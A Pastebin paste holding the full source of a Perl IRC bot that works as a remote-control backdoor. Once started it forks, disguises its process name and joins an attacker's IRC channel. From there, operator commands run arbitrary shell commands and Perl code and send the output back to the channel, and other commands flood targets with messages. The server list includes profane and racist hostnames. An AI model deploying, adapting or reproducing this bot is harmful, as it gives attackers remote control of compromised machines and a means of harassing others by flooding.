Guest User

Untitled

a guest
Oct 21st, 2017
217
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 13.38 KB | None | 0 0
  1. #!/usr/bin/perl
  2. use POSIX; use Time::HiRes qw ( setitimer ITIMER_REAL time sleep ); eval { require IO::Socket::INET6; }; if ($@) { use IO::Socket::INET; $whichnet="IO::Socket::INET"; } else { import IO::Socket::INET6; $whichnet="IO::Socket::INET6"; }
  3. my @servers = ('irc.byroe.net'); #,'japierole.abuser.eu','zlo.hack-inter.net','jestemzly.abuser.eu','ihujze.bot.nu','hujwto.biz.tm','rocknrolla.h4ck.la','howkurwatoo.linuxsecured.net','fuckinigger.happyforever.com','qwlkejqlkj.melon.org.ru');
  4. my $server='smsdiskon.byroe.net'; my $home="#voo"; my @channels=("#voo");
  5. my $port="6667"; my $nick=larasuka(7); my $realname=larasuka(7); my $jupe="$nick"; my $oident_spoof="$nick"; my $jupeon="on"; my $ident=larasuka(7);
  6. my $botcmd="!e"; #my $botcmd="!".$literaki[int(rand(@literaki))];
  7. my $homekey="itakcitoukradna"; my $usermodes='+igs'; my $oidentd="0"; my $min_lag_show='15'; my $shell_cmd_timeout="60";
  8. my @admin=('nsa.gov'); my $aop_admin="0"; my @aop_others=(''); my $outputchan=$home; my $VERSION = "V"; my $max_lines='2'; my $process = "ihujcieto"; my $verbot = ".666";
  9. my $banner = "[evil]:"; my $pid=fork; my $starttime=time(); exit if $pid; $0="$process"."\0"x16; my $botdir="/tmp/";
  10. $lastmsgtime = time(); my $chancount = @channels; my $admincount = @admin; my $aop_otherscount = @aop_others;
  11. local $SIG{__WARN__} = {}; $SIG{'PIPE'} = "IGNORE"; foreach my $sig qw(INT QUIT HUP TERM) { $SIG{$sig} = \&handler; } $SIG{__DIE__} = \&sigdie_handler;
  12. sub debug { print $_[0]."\n" }
  13. if (-e "$botdir/$nick.pid") { open (PID, "<$botdir/$nick.pid"); my $checkpid = <PID>; close (PID); if(kill(SIGCHLD,$checkpid)!=0) { print "[-] already running ($checkpid) exiting\n"; exit; } }
  14. open (PID, ">$botdir/$nick.pid"); print PID "$$"; close (PID);
  15. sub larasuka { my @abc = ('a' .. 'z'); for(my $i=0;$i<$_[0];$i++) { $meh .= $abc[int(rand($#abc))]; } return $meh; }
  16. sub handler { local($sig) = @_; sendraw("PRIVMSG $home :recieved SIG$sig"); quit("recieved SIG$sig"); close LOG; sleep(2); exit(0); }
  17. sub sigdie_handler { open CRASHLOG, ">>/tmp/$nick.crashlog" or warn "Could not open crashlog '$nick.crashlog' for writing: $!"; print CRASHLOG "Died with: $_[0]\n\n", Carp::longmess(), "\n=====\n\n\n"; close CRASHLOG; }
  18. ### first time connect
  19. START; oident; undef $realnick;
  20. my ($sentlines, $alarms, $lag, $publag, $lsent, @lq) = (0, 0, 0, 0, 0, ());
  21. debug "connecting to $server:$port\n";
  22. my $ircsock = $whichnet -> new(PeerAddr => $server, PeerPort => $port, LocalAddr => $host, Proto => 'tcp', Timeout => '10') or reconnect($!);
  23. if (defined($ircsock)) { debug "connection established, initiating\n"; $ircsock->autoflush(1); identify(); };
  24.  
  25. $SIG{ALRM} = sub {
  26. sendqueue("de-queue");
  27. $alarms++;
  28. if ($shell and time() - $lastmsgtime >= $shell_cmd_timeout) { kill 9, $shell; msg($sendto, "Killed: $shell"); }
  29. if ($alarms eq "45" and defined($realnick) and $realnick ne $jupe) { sendqueue("ISON $jupe"); }
  30. if ($alarms >= "60") {
  31. $alarms=0;
  32. if (time() - $lastmsgtime >= "600" and $connd eq 1) {
  33. $lastmsgtime = time();
  34. reconnect('TIMEOUT');
  35. } else {
  36. if (defined($realnick) && $connd eq 1) {
  37. notice($realnick, "LAGSTAT " . time);
  38. $lagstat=time();
  39. $sentlines=0;
  40. }
  41. }
  42. }
  43. };
  44.  
  45. setitimer(ITIMER_REAL, 1, 1);
  46.  
  47. sub TS { return "[" . strftime("%H:%M.%S",localtime(time())) . "] "; }
  48.  
  49. sub reconnect {
  50. $connd=0; undef @lq; undef $realnick;
  51. debug "error: $_[0] ..\n";
  52. if (defined($ircsock)) { close $ircsock; undef $ircsock; };
  53. sleep "1" for 1..10;
  54. my $server=();
  55. my $server=$servers[int(rand($#servers))];
  56. debug "Reconnecting...\n";
  57. debug "Connecting to $server:$port\n";
  58. oident;
  59. $ircsock = $whichnet -> new(PeerAddr => $server, PeerPort => $port, LocalAddr => $host, Proto => 'tcp', Timeout => '10') or reconnect($!);
  60. if (defined($ircsock)) { $ircsock->autoflush(1); identify(); };
  61. }
  62.  
  63. while($line = <$ircsock>){
  64. $lastmsgtime = time(); $line =~ s/\r\n$//; $connd=1;
  65. debug "[RECV]: $line\n";
  66.  
  67. if ($line =~ /^\:(.+?)\!(.+?)\@(.+?) NOTICE (.+?) \:(.+)/) {
  68. my $from=$1; my $hostmaircsock=$3; my $to=$4; my $args=$5; my $mask="$2\@$hostmaircsock";
  69. if ($to eq $realnick and $from eq $realnick and $args =~ /^LAGSTAT (.+)/) {
  70. $lag = time() - $lagstat; $lag = substr($lag, 0, 4);
  71. if ($lag > $min_lag_show or $publag eq 1) { msg($outputchan, "[Lag]: $lag Second(s)"); $lagstat=time(); $outputchan=$home; $publag=0; }
  72. }
  73. }
  74. if ($line =~ /^\:(.+?)\!(.+?)\@(.+?) PRIVMSG (.+?) \:(.+)/) {
  75. my $from=$1; my $hostmaircsock=$3; my $to=$4; my $args=$5; my $mask="$hostmaircsock\E";
  76. $fishmsg=0;
  77. if (defined($usefish) && $args =~ /^\Q$prefix\E(.+)/i) {
  78. $fishmsg=1;
  79. my $blowfish = new Crypt::ircBlowfish;
  80. $blowfish->set_key($fishkey);
  81. $args=$blowfish->decrypt($1);
  82. }
  83. if ($args =~ /\001PING.*\001$/) { msg("$home", "[Ping] from: $from");}
  84. if ($args =~ /\001USERINFO.*\001$/) { msg("$home", "[Userinfo] from: $from");}
  85. if ($args =~ /\001TIME.*\001$/) { msg("$home", "[Time] from: $from");}
  86. if ($args =~ /^\001VERSION\001$/) { notice("$from", "\001VERSION $VERSION\001"); { msg("$home", "[Version] from: $from");} }
  87. if (grep {$_ =~ /^\Q$mask\E$/i } @admin ) {
  88. if ($args =~ /^(\Q$realnick\E|\Q$botcmd\E)\s+(.*)/i ) { my $arg = $2; if ($arg =~ /^\!(.*)/) { cmdcase("$from","$to","$arg"); } }
  89. }
  90. }
  91.  
  92. if ($line !~ /^\:(.+?)\!(.+?)\@(.+?) PRIVMSG (.+?) \:(.+)/) {
  93. if ($line=~ /^ERROR \:(.*)/) { reconnect($1); }
  94. if ($line=~ /^PING \:(.*)/) { sendraw("PONG :$1"); if (not $connd) { $connd=1; identify(); } }
  95. if ($line=~ /^\:(.+?)\s+451 (.+) \:You have not registered/) { identify(); }
  96. if ($line =~ /^\:(.+?)\!(.+?)\@(.+?)\s+NICK\s+\:(\S+)/i) {
  97. if (lc($1) eq lc($realnick)) { sendraw("MONITOR - $1"); }
  98. if (lc($1) eq lc($jupe) and lc($1) eq lc($realnick) and $jupe eq "on") { nick("$jupe"); }
  99. if (lc($1) eq lc($realnick)) { $realnick=$4; }
  100. }
  101.  
  102. if ($line =~ /^\:(.+?)\!(.+?)\@(.+?)\s+JOIN\s+\:(\S+)/) {
  103. $mask="$3";
  104. if (grep {$_ =~ /^\Q$mask\E$/i } @admin and $aop_admin eq "1") {
  105. op("$4", "$1");
  106. } else {
  107. if ($1 ne $realnick and @aop_others ne '' && grep {$_ =~ /^\Q$mask\E$/i } @aop_others) { op("$4", "$1"); }
  108. }
  109. }
  110.  
  111. if ($line =~ /^\:(.+?)\!(.+?)\@(.+?)\s+INVITE\s+(.+?)\:(\S+)/) {
  112. $mask="$3";
  113. if (grep {$_ =~ /^\Q$mask\E$/i } @admin ) {j("$5");}
  114. }
  115.  
  116. if ($line =~ /^\:(.+?)\s+718 (.+?) (.+?) (.+?)\@(.+?) (.*)/) {
  117. $mask="$5";
  118. if (grep {$_ =~ /$mask\E$/i } @admin ) { sendraw("ACCEPT $3"); notice($3, "Accepted."); }
  119. } else {
  120. if ($line =~ /^\:(.+?)\s+718 (.+?) (.+?) (.+?)\@(.+?) (.*)/) { msg("$home", "[Msg] From $3"); } }
  121. }
  122.  
  123. if ($line =~ /^\:(.+?)\s+433 (.+) (.+) \:/ and !defined($realnick)) {
  124. $randc=@{[ 'a' .. 'z' , 'A' .. 'Z' ]}[int(rand(26 * 2))];
  125. if (length("$3_") > 9) {
  126. nick(substr($3, 0, 8).$randc);
  127. } else {
  128. nick($3.$randc);
  129. }
  130. }
  131.  
  132. if ($line =~ /^\:(.+?)\s+47(.{1}) (.+) (.+) \:(.+)/) { msg("$home", "$4 $5"); }
  133. if ($line =~ /^\:(.+?)\s+730 (.*) \:(.*)!/) { if ($realnick ne $3) {msg("$home", "Jupe: $3");} }
  134. if ($line =~ /^\:(.+?)\s+731 (.+) \:(.+)/) { if ($jupeon eq "on") {nick("$3");} }
  135. if ($line =~ /^\:(.+?)\s+732 (.*) \:(.*)/) { msg("$outputchan", "Monitoring: $3."); $outputchan=$home; }
  136.  
  137. if ($line =~ m/^\:(.+?)\s+001\s+(\S+)\s/) {
  138. $realnick = $2; $connd=1;
  139. sendraw("MODE $realnick $usermodes");
  140. j("$home $homekey"); msg("$home", "Hello Voo_Doo");
  141. foreach my $chans (@channels) { j("$chans") if $chans ne ""; }
  142. if ($realnick ne $jupe) {sendraw("MONITOR + $jupe");}
  143. }
  144.  
  145. if ($line =~ /^\:(.+?)\!(.+?)\@(.+?) KICK (.+?) (.+?) \:(.*)/) { my $from=$1; my $hostmaircsock=$3; my $where=$4; my $who=$5; if ($who eq $realnick) {j("$where");} }
  146. if ($line =~ /^\:(.+?)\!(.+?)\@(.+?) QUIT \:(.*)/) { if (lc($1) eq lc($jupe) and $jupeon eq "on") {nick("$jupe");} }
  147. if ($line =~ m/^\:(.+?)\s+332 (.+?) (.+?) \:(.+)/i and lc($3) eq lc($home)) { }
  148. if ($line =~ m/^\:(.+?)\s+303 (.*) \:(.*)/i) { if (!$3) { nick("$jupe"); } }
  149. }
  150.  
  151.  
  152. sub cmdcase {
  153. ($from, $to, $args) = @_;
  154. if ($to eq $realnick){ $sendto=$from; } else { $sendto=$to; }
  155. if ($args=~ /^!nick (.+)/i){ sendraw("MONITOR - $realnick"); nick("$1"); }
  156. if ($args=~ /^!cq$/i){ $qc = @lq; undef @lq; msg("$sendto", "cleared \002$qc\002 items from queue"); }
  157. if ($args=~ /^!die$|^!die (.*)/i){ quit("$1"); sleep 1; exit; }
  158. if ($args=~ /^!quit$|^!quit (.*)/i){ quit("$1"); sleep 1; exit; }
  159. if ($args=~ /^!raw (.+)/i){ sendqueue("$1"); }
  160. if ($args=~ /^!lag$/i){ msg("$sendto", "Lag: $lag"); }
  161. if ($args=~ /^!reallag$/i){ $outputchan=$sendto; $publag=1; notice($realnick, "LAGSTAT " . time); $lagstat=time(); }
  162. if ($args=~ /^!join (.+)/i){ j("$1 $2"); }
  163. if ($args=~ /^!part (.+)/i){ p("$1 $2"); return; }
  164. if ($args=~ /^!part$/i) { p("$sendto"); return; }
  165. if ($args=~ /^!hop$/i){ p("$sendto"); j("$sendto"); }
  166. if ($args=~ /^!cycle (.+)/i){ p("$1 $2"); j("$1 $2"); return; }
  167. if ($args=~ /^!cycle$/i){ p("$sendto"); j("$sendto"); return; }
  168. if ($args=~ /^!eval (.+)/i) { eval "$1"; if ($@) { foreach my $err (split(/\n/,$@)) { msg("$sendto", $err) } } }
  169. if ($args=~ /^!reval (.+)/i) { my $vars=eval $1; foreach my $var (split(/\n/,$vars)) { msg("$sendto", $var); } }
  170. if ($args=~ /^!jupe (.+)/i){ $jupe=$1; $jupeon="on"; $jupe=~ s/ /\,/g; sendraw("MONITOR - $realnick"); sendraw("MONITOR + $jupe"); $jupe=~ s/\,/ /g; }
  171. if ($args=~ /^!jupelist$/i){ $outputchan=$sendto; sendraw("monitor l"); }
  172. if ($args=~ /^!jupeoff$/i){ msg("$sendto", "[Jupe]: Halted"); if ($jupeon eq "on") { sendraw("monitor c"); $jupeon="off"; $jupe=$realnick; } }
  173. if ($args=~ /^!status$/i){ msg("$sendto", "Jupe: $jupeon"); $outputchan=$sendto; sendraw("monitor l"); }
  174. if ($args=~ /^!op\s+(\S+) (.+)/i){ op("$sendto", "$2"); return; }
  175. if ($args=~ /^!op$/i) { op("$sendto", "$from"); return; }
  176. if ($args=~ /^!deop\s+(\S+) (.+)/i){ deop("$1", "$2"); }
  177. if ($args=~ /^!msg\s+(\S+) (.+)/i){ msg("$1", "$2"); }
  178. if ($args=~ /^!say\s+(.+)/i){ msg("$sendto", "$1"); }
  179. if ($args=~ /^!uptime$/i){ msg("$sendto", &uptime); }
  180. if ($args=~ /^!killshell$/i){ close(SHELL) || msg("$sendto", "child exited $?"); }
  181. if ($args=~ /^!shell (.+)/i){ shell("$sendto", "$1"); }
  182. if ($args=~ /^!notice\s+(\S+) (.+)/i){ notice("$1", "$2"); }
  183. if ($args=~ /^!flood\s+(\d+)\s+(\S+) (.*)/i) { for (my $cf = 1; $cf <= $1; $cf++) { msg("$2", "$3"); } }
  184. if ($args=~ /^!ctcp\s+(\S+) (.*)/i) { ctcp("$1", "$2"); }
  185. if ($args=~ /^!ctcpflood\s+(\d+)\s+(\S+) (.*)/i) { for (my $cf = 1; $cf <= $1; $cf++) { ctcp("$2", "$3"); } }
  186. if ($args=~ /^!reconnect$/i){ reconnect("requested by $from"); }
  187. if ($args=~ /^!restart$/i){ system("rm $nick.pid; perl $nick"); handler("restart"); }
  188. ######################################################################################
  189. ######################################################################################
  190. }
  191.  
  192. sub inspect { my $where=$_[0]; my $what=$_[1]; use B::Deparse; my $sub = (B::Deparse->new)->coderef2text(\&{$what}); $sub =~ s/$_->[0]/$_->[1]/g foreach (["\x09", " "]); foreach my $line (split /\n/, $sub) { msg($where, $what .": $line"); } }
  193. sub ctcp { return unless $#_ == 1; sendqueue("PRIVMSG $_[0] :\001$_[1]\001"); }
  194. sub notice { return unless $#_ == 1; sendqueue("NOTICE $_[0] :$_[1]"); }
  195. sub op { return unless $#_ == 1; sendqueue("MODE $_[0] +o $_[1]"); }
  196. sub deop { return unless $#_ == 1; sendqueue("MODE $_[0] -o $_[1]"); }
  197. sub j { &join(@_); }
  198. sub join { return unless $#_ == 0; sendqueue("JOIN $_[0]"); }
  199. sub p { part(@_); }
  200. sub part { sendqueue("PART $_[0]"); }
  201. sub nick { return unless $#_ == 0; sendraw("NICK $_[0]"); }
  202. sub quit { undef @lq; sendraw("QUIT :$_[0]"); }
  203. sub identify { sendraw("USER $ident 0 $server :$realname"); sendraw("NICK $nick"); }
  204. sub uptime { my $curtime=time(); $secs=int($curtime - $starttime); @parts = gmtime($secs); $uptime=sprintf("%s days, %s hours, %s minutes, %s seconds.",@parts[7,2,1,0]); return "[Bot Uptime]: $uptime" }
  205. sub sendraw { if (!defined($ircsock)) { return; } my $text = shift; chomp($text); $sentlines++; $text = $text . "\r\n"; debug "SEND: $text"; print $ircsock $text or reconnect('couldnt sendraw'); }
  206.  
  207. sub msg {
  208. return unless $#_ == 1;
  209. if (defined($usefish) && $fishmsg eq 1) {
  210. my $blowfish = new Crypt::ircBlowfish;
  211. my $encrypted_message = '';
  212. my $cleartext = '';
  213. $blowfish->set_key($fishkey);
  214. $encrypted_message = $prefix . $blowfish->encrypt($_[1]);
  215. sendqueue("PRIVMSG $_[0] :$encrypted_message");
  216. } else {
  217. sendqueue("PRIVMSG $_[0] :$_[1]");
  218. }
  219. }
  220.  
  221. sub shell {
  222. my $where=$_[0];
  223. my $command=$_[1];
  224. if ($command =~ /cd (.*)/) { chdir("$1") || msg("$where", "no such file or directory"); return; }
  225. debug "executing $command\n";
  226. $shell = open(SHELL, "-|");
  227. if ($shell) { # parent
  228. #waitpid($shell, 0);
  229. while (my $lines = <SHELL>) { $lines = " " if !length($lines) or $lines eq "\n"; msg("$where", "[shell]: $lines"); }
  230. close(SHELL);
  231. } else { # child
  232. ($EUID, $EGID) = ($UID, $GID); # suid only
  233. exec("$command") || print "can't exec $command: $!";
  234. exit;
  235. }
  236. undef $shell;
  237. }
  238.  
  239. sub sendqueue {
  240. if ($_[0] eq 'de-queue') { goto dq };
  241. if (!defined($ircsock)) { return; }
  242. my $text = shift; chomp($text); $qlength = push @lq, $text;
  243. defer: return 0;
  244. dq: $lsent = 0;
  245. $qlength = @lq;
  246. if ($qlength > 0) { debug "de-queueing, $max_lines lines max, $qlength lines in queue.\r\n"; }
  247. foreach my $n (1..($max_lines - $lsent)) {
  248. last unless scalar(@lq); $sentlines++;
  249. if ($sentlines > "35") { debug "WARNING: sent $sentlines lines within one minute (slowing down)\r\n"; sleep(0.37); }
  250. $text = shift(@lq) . "\r\n";
  251. debug "SEND: $text";
  252. print $ircsock $text or reconnect('couldnt sendqueue');
  253. $lsent++;
  254. }
  255. return 1;
  256. }
  257.  
  258. goto START
Add Comment
Please, Sign In to add comment